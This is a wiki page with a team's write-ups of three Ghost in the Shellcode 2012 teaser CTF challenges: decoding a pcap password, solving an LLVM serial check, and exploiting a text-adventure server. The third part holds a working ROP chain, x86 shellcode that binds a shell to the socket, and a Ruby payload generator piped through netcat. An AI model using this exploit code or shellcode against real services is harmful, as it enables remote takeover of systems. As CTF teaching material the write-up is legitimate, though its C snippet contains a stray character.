Difference between revisions of "Gits2012teaser"

From Fixme.ch
Jump to: navigation, search
(#1 TelAviv)
Line 168: Line 168:
 
* analyze disassembly, extract C representation:
 
* analyze disassembly, extract C representation:
  
<pre>
+
<syntaxhighlight lang="c">
 
int
 
int
 
VerifySerial(uint64_t name, uint64_t serial)
 
VerifySerial(uint64_t name, uint64_t serial)
Line 196: Line 196:
 
return (result == 1);
 
return (result == 1);
 
}
 
}
</pre>
+
</syntaxhighlight>
  
 
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
 
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
Line 203: Line 203:
 
* lacking math package fu, implement a gaussian elimination manually:
 
* lacking math package fu, implement a gaussian elimination manually:
  
<pre>
+
<syntaxhighlight lang="ruby">
 
class Numeric
 
class Numeric
 
   def bits64
 
   def bits64
Line 324: Line 324:
 
   puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
 
   puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
 
end
 
end
</pre>
+
</syntaxhighlight>
  
 
== #3 Hackquest ==
 
== #3 Hackquest ==
Line 341: Line 341:
 
* struct ItemInfo contains a union:
 
* struct ItemInfo contains a union:
  
<pre>
+
<syntaxhighlight lang="cpp">
 
union
 
union
 
{
 
{
Line 358: Line 358:
 
         } namedUnwrap;
 
         } namedUnwrap;
 
} info;
 
} info;
</pre>
+
</syntaxhighlight>
  
 
* magical item:
 
* magical item:
  
<pre>
+
<syntaxhighlight lang="cpp">
 
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
 
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
</pre>
+
</syntaxhighlight>
  
 
* use() has an insufficient test:
 
* use() has an insufficient test:
  
<pre>
+
<syntaxhighlight lang="cpp">
 
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
 
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
 
     (item->type == ITEM_UNWRAP))
 
     (item->type == ITEM_UNWRAP))
Line 381: Line 381:
 
         showDesc = item->info.action.actionInfo->showDesc;
 
         showDesc = item->info.action.actionInfo->showDesc;
 
}
 
}
</pre>
+
</syntaxhighlight>
  
 
* if we "use letter on $target", we can make it call ->func()
 
* if we "use letter on $target", we can make it call ->func()
Line 395: Line 395:
 
* bootstrap code copies stack-relative buffer to our page, then transfers control:
 
* bootstrap code copies stack-relative buffer to our page, then transfers control:
  
<pre>
+
<syntaxhighlight lang="asm">
 
leal 0x41(%esp),%esi # calc source from stack offset
 
leal 0x41(%esp),%esi # calc source from stack offset
 
popl %edi # dest addr is already on stack
 
popl %edi # dest addr is already on stack
Line 405: Line 405:
 
popl %edi # retrieve old dest
 
popl %edi # retrieve old dest
 
jmp *%edi # jump there
 
jmp *%edi # jump there
</pre>
+
</syntaxhighlight>
  
 
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
 
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
  
<pre>
+
<syntaxhighlight lang="asm">
 
pushl %ecx # ecx was cleared by rep above, put 0 on stack
 
pushl %ecx # ecx was cleared by rep above, put 0 on stack
 
movl 0xAB(%esp),%ebx # get socket fd from stack offset
 
movl 0xAB(%esp),%ebx # get socket fd from stack offset
Line 427: Line 427:
 
movb $0xb,%al # execve syscall number
 
movb $0xb,%al # execve syscall number
 
int $0x80 # magic!
 
int $0x80 # magic!
</pre>
+
</syntaxhighlight>
  
 
* cat key.txt
 
* cat key.txt
Line 433: Line 433:
 
* all combined, use as (ruby h.rb; cat) | nc host 7331
 
* all combined, use as (ruby h.rb; cat) | nc host 7331
  
<pre>
+
<syntaxhighlight lang="ruby">
 
addr = 0x60606000              # our page address
 
addr = 0x60606000              # our page address
 
src = 0x804c2a0                # from 0x80498f4
 
src = 0x804c2a0                # from 0x80498f4
Line 532: Line 532:
 
   print cp
 
   print cp
 
end
 
end
</pre>
+
</syntaxhighlight>

Revision as of 16:30, 8 January 2012

Ghost in the Shellcode 2012 Teasers writeups

http://ghostintheshellcode.com/

Thanks to the organizers for those pretty nice teasers!

The following writeups have been made by members of the FIXME team during between January 6th and January 8th.

#1 TelAviv

Question

What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.

Solution

The file 7139a4ea239dcac655f7c38ca6a77b61.bin is a regular pcap file which contains a single TCP session.

Gist-telaviv-tcp-session.png

The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:

  • "GitS", probably some dummy data
  • a NULL byte
  • "Plague", potential username
  • 233 remaining bytes, this is the actual password we're looking for

The hint (TeLaViv+) tells us that this password is probably encoded with Type-Length-Value (TLV) encoding. However, there was actually no type fields and the length of each field was one byte long.

Gist-telaviv-password-data.png

The following Python script (tlv.py) decodes the password:

#!/usr/bin/env python
#
# http://ghostintheshellcode.com/
# Ghost in the Shellcode 2012 Teaser
#
# Challenge #1 TelAviv
#
# By Francois Deppierraz <francois@ctrlaltdel.ch>
 
import sys
from pprint import pprint
from binascii import hexlify
 
f = open("7139a4ea239dcac655f7c38ca6a77b61.bin")
f.seek(0x244) # seek to the data of interest, offset found with wireshark
data = f.read(233) # data size
 
total_len = 0
packets = []
index=0
while index < len(data):
    length = ord(data[index])
    packets.append(data[index+1:index+1+length])
    index += length+1
    total_len += length+1
 
# Ensure that all data was actually parsed
assert total_len == len(data)
 
print "Found %d packets: " % len(packets)
for p in packets:
  print "  ",
  for c in p:
    print hex(ord(c)),
  print
print
 
numbers = [[ord(c) for c in p] for p in packets]
#print "Values: ",
#pprint(numbers)
#print
 
# Sum all byte values for each packet (idea comes from the + sign in the hint TeLaViv+)
sums = [sum(row) for row in numbers]
print "Sums: " + repr(sums)
print
 
s = "".join([chr(c/2) for c in sums])
print "Divide by 2 and then convert to ASCII: "
print s
print
 
print "Simple subsitution: "
# "Dro Zkccgybn sc" to "The Password is"
from_txt = "\":dro zkccgybn sc"
to_txt   = "\":the password is"
assert len(from_txt) == len(to_txt)
 
for c in s.lower():
  idx = from_txt.find(c)
  if idx != -1:
    sys.stdout.write(to_txt[idx])
  else:
    sys.stdout.write(".")
print
$ ./tlv.py
Found 37 packets: 
   0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1
   0x57 0x21 0x57 0x1 0x1 0x12 0x1
   0x4d 0x5d 0x1d 0x8 0xd 0x2
   0x1b 0xa 0x18 0x2 0x1
   0x5a 0x4 0x46 0x10
   0x84 0x27 0x16 0x12 0x3
   0x9d 0x22 0x5 0x1 0x1
   0xb8 0x9 0x4 0x1
   0x33 0x5d 0x38 0x5 0x1
   0x5e 0xd 0x68 0x1f
   0x50 0x2d 0x1a 0x20 0x2 0x9 0x2
   0x90 0xc 0x20 0x10 0xf 0x1
   0x3a 0x4 0x1 0x1
   0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1
   0x21 0x78 0x25 0x8
   0x1d 0x4b 0x8 0x3 0x1
   0x1a 0x21 0x2 0x3
   0x19 0x25 0x4 0x1 0x1
   0x5c 0x17 0x12 0x2 0x1
   0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1
   0x96 0x1a 0x29 0x5
   0x3a 0x5 0x1
   0x39 0x4 0x53 0xa 0x1 0x1
   0x79 0x2 0x7 0x1b 0x1 0x37 0x1
   0x3 0xe 0x18 0x17
   0x6e 0x11 0x9 0x3 0x1
   0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1
   0x2 0xa7 0x10 0x10 0x12 0x13 0x2
   0x4c 0x9 0x43 0x7 0xd 0x4 0x2a
   0xd 0x78 0x5f 0x2
   0x2b 0x7 0xd 0x1
   0x74 0xd 0xe 0x9 0x2
   0x2d 0xa6 0xd 0xb 0x1 0x6
   0x9d 0x39 0x5 0x1
   0xd5 0x9
   0x38 0x6 0x2 0x2 0x1 0x1
   0x2f 0x5 0xb 0x1

Sums: [136, 228, 222, 64, 180, 214, 198, 198,
       206, 242, 196, 220, 64, 230, 198, 116,
       64, 68, 136, 228, 222, 64, 156, 214,
       64, 140, 230, 240, 218, 230, 64, 154,
       242, 220, 222, 68, 64]

Divide by 2 and then convert to ASCII: 
Dro Zkccgybn sc: "Dro Nk Fsxms Myno" 

Simple subsitution: 
the password is: "the da .i..i .ode"

#2 AL's Revenge

Question

Use your team GUID and generate a serial. (File)
Hint: File

Solution

  • file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
  • file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
  • analyze disassembly, extract C representation:
int
VerifySerial(uint64_t name, uint64_t serial)
{
	uint64_t a = 0x8000000000000000LL;
        uint64_t b = 0xa348fccd93aea5a7LL;
	uint64_t result = 0;
 
	/* high order bit set? */
	if (name & a)
		a ^= b;
 
	if (serial & a)
		serial ^= b;
 
	while (serial != 0) {
		if (serial & 1)
			result ^= name;
 
		serial >>= 1;
		name <<= 1;
 
		if (name & a)
			name ^= b;
	}H
 
	return (result == 1);
}
  • it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
  • lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
  • The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
  • lacking math package fu, implement a gaussian elimination manually:
class Numeric
  def bits64
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
  end
end
 
def names(name)
  p = 0xa348fccd93aea5a7
 
  if (name >> 63) & 1 == 1
    name ^= p
  end
 
  ([name] + 63.times.map do |i|
    name <<= 1
    if (name >> 63) & 1 == 1
      name ^= p
    end
    name
  end).map(&:bits64)
end
 
class Array
  def pivot
    res = []
    self[0].size.times.map do |i|
      self.size.times.map do |j|
        self[j][i]
      end
    end
  end
 
  def bitary_to_int
    self.join.to_i(2)
  end
end
 
class Eq < Array
  attr_accessor :res
 
  def initialize(ary, res)
    self.replace(ary)
    @res = res
  end
 
  def lead_zero
    self.take_while{|e| e == 0}
  end
 
  def first_pos
    self.index(1)
  end
 
  def subtract(o)
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
  end
end
 
class EqSys < Array
  def initialize(ary, res=nil)
    if !(Eq === ary[0]) && !ary.empty?
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
    end
    self.replace(ary)
  end
 
  def sort_by_zeros
    self.sort do |a, b|
      a.lead_zero <=> b.lead_zero
    end
  end
 
  def subtract_eq(eq)
    pos = eq.first_pos
    return self if not pos
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
  end
 
  def elim
    front = EqSys.new([])
    cur = nil
    rest = self.sort_by_zeros
    while not rest.empty?
      front << cur if cur
      cur = rest.shift
 
      front = front.subtract_eq(cur)
      rest = rest.subtract_eq(cur)
      rest = rest.sort_by_zeros
    end
    front << cur
 
    front
  end
 
  def to_s
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
  end
end
 
require 'pp'
if __FILE__ == $0
  ns = names(0x6638623261336134)
 
  pv = ns.pivot
  es = EqSys.new(pv, 1.bits64)
 
  puts es.to_s
  puts
 
  r = es.elim
  puts r.to_s
 
  res = r.map{|e| e.res}.reverse
  puts res.bitary_to_int.to_s(16)
 
  s0 = r.pivot.last.reverse
  puts s0.bitary_to_int.to_s(16)
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
end

#3 Hackquest

Question

Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: Binary file
Hint: Partial source code

Solution

  • Remote system running some sort of text adventure.
  • Hint dropped source code partially (extremely helpful)
  • Hint from irc: look at the items
  • struct ItemInfo contains a union:
union
{
        void* data;
        LocationInfo* newLocation;
        struct ItemInfo* newItem;
        struct
        {
                ActionInfo* actionInfo;
                char* requiredTarget;
        } action;
        struct
        {
                char* name;
                struct ItemInfo* newItem;
        } namedUnwrap;
} info;
  • magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
  • use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
    (item->type == ITEM_UNWRAP))
{
        sendMsg(s, "That item can't have a target.\n");
        ok = false;
}
else if (!strcasecmp(item->info.action.requiredTarget, target))
{
        sendMsg(s, item->message);
        item->info.action.actionInfo->func(s);
        showDesc = item->info.action.actionInfo->showDesc;
}
  • if we "use letter on $target", we can make it call ->func()
  • .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
  • ->func aliases with .name
  • the game asks us for our name, and stores this into a 31 byte static buffer
  • whatever we use as name will be used as function address to be called -> we captured control flow
  • ROP ensues:
  • first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
  • then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
  • our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
  • work around this problem by putting bootstrap shellcode into the static name buffer (see above)
  • bootstrap code copies stack-relative buffer to our page, then transfers control:
	leal	0x41(%esp),%esi	# calc source from stack offset
	popl	%edi		# dest addr is already on stack
	pushl	$0x41		# dest offset so that we don't get overwritten
	popl	%ecx		# duplicates as length
	addl	%ecx,%edi	# add offset
	push	%edi		# store dest for later
	rep	movsl		# copy
	popl	%edi		# retrieve old dest
	jmp	*%edi		# jump there
  • remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset
1:	
	pushl	$0x3f		# dup2 syscall number
	popl	%eax		# into eax
	int	$0x80		# do syscall
	inc	%ecx		# inc desc2
	cmp	$0x3,%cl	# do for 0, 1, 2
	jne	1b		# repeat
 
	popl	%ecx		# zero ecx = argv
	mull	%ecx		# zero eax, edx = env
        pushl	$0x0068732f	# /sh\0
        pushl   $0x6e69622f	# /bin
	movl	%esp,%ebx	# string arg
	movb	$0xb,%al	# execve syscall number
	int	$0x80		# magic!
  • cat key.txt
  • all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000               # our page address
src = 0x804c2a0                 # from 0x80498f4
 
sockoffset = 0xbc
 
p = [
     # offset 0
     "use letter on ",
     # offset 14
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
     # offset 31
     " " * (0x44 - 32),           # fill
     # offset 0x44
     0x80486d4,          # C mmap
     0x8048db5,          # L add $0x1c,%esp | ret
     addr,               # (void *addr,
     4096,               #  size_t len,
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
     0,                  #  int filedes,
     0,                  #  off_t off)
     0,                  # filler, also possibly offset
     0x80487d4,          # C memcpy
     addr,               # L addr = shellcode
     addr,               # (void *dest,
     src + 4,            #  const void *src,
     200,                #  size_t n).
 
     [
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number
      0x58,                         # popl  %eax     # into eax
      0xcd, 0x80,                   # int   $0x80    # do syscall
      0x41,                         # inc   %ecx     # inc desc2
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2
      0x75, 0xf5,                   # jne   1b       # repeat
 
      0x59,       # popl  %ecx  # zero ecx = argv
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number
      0xcd, 0x80  # int	$0x80        # magic!
     ]
    ]
 
shellcode = 0xc
 
# this lives at src
namelen = 20
name = [
        # stack pivot
        0x08049019,              # add $0x9c,%esp | ret
 
        # bootstrap shellcode
        [
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
         0x5f,                    # popl  %edi
         0x6a, namelen,           # pushl $XXX
         0x59,                    # popl  %ecx
         0x01, 0xcf,              # addl  %ecx,%edi
         0x57,                    # push  %edi
         0xf3, 0xa5,              # rep movsl
         0x5f,                    # popl  %edi
         0xff, 0xe7,              # jmp   *%edi
        ],
       ]
 
all = name +
  [
   "\n",
   "get can\n",
   "use can\n",
   "go south\n",
   "get letter\n",
  ] +
  p + ["\n"]
 
def collapse(a)
  a.map do |e|
    case e
    when Numeric
      [e].pack("V")
    when Array
      e.pack('C*')
    else
      e.to_s
    end
  end.join
end
 
if __FILE__ == $0
  cp = collapse(all)
  # puts cp.size
  print cp
end